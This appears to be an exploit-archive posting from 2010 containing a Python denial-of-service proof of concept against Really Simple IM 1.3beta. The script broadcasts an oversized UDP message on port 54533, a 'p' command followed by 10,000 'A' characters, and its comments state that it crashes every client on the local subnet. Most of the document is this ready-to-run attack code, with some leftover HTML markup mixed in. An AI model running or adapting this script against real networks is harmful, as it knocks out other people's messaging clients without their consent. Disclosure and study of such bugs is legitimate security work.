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Really Simple IM 1.3beta DoS Proof of Concept

Posted on 18 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Really Simple IM 1.3beta DoS Proof of Concept</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================
Really Simple IM 1.3beta DoS Proof of Concept
=============================================


#!/usr/bin/python
 
import socket
import sys
 
# Bug found: 18th July 2010
# DoS proof of concept
# Found  by: loneferret
# Tested on Windows XP Professional SP2-SP3 &amp; Windows XP Home SP3
 
# Really Simple IM verion 1.3 beta
# Software: http://code.google.com/p/reallysimpleim/
# Nods to exploit-db
# I don't want this on injector &lt;- notice the no leet talk.
 
# This little application uses UDP to &amp; send receive messages.
# It broadcasts everything, and picks up everything
# on port 54533.
# The funny thing with this PoC, it will crash all clients
# in the same subnet. Yup it's that funny. That's the only thing it does too...
# No EIP, no SEH but the buffer is still in memory at the
# moment of the crash. Figured I'd share anyway.
 
 
#Commands
# 'p' Connect and adds users to list
# 'a' Disconnect message
# 'b' Send message
# 't' Direct message
 
host = '192.168.xxx.255'  #Adjust broadcast address to your network
port = 54533
 
buffer
 
 
 
try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   s.bind((host,0))
   s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
except:
   print &quot;socket() failed&quot;
   sys.exit(1)
 
da = &quot;p&quot;
da += &quot;W00T&quot; + (&quot;x41&quot; * 10000)
s.sendto(da, (host, port))


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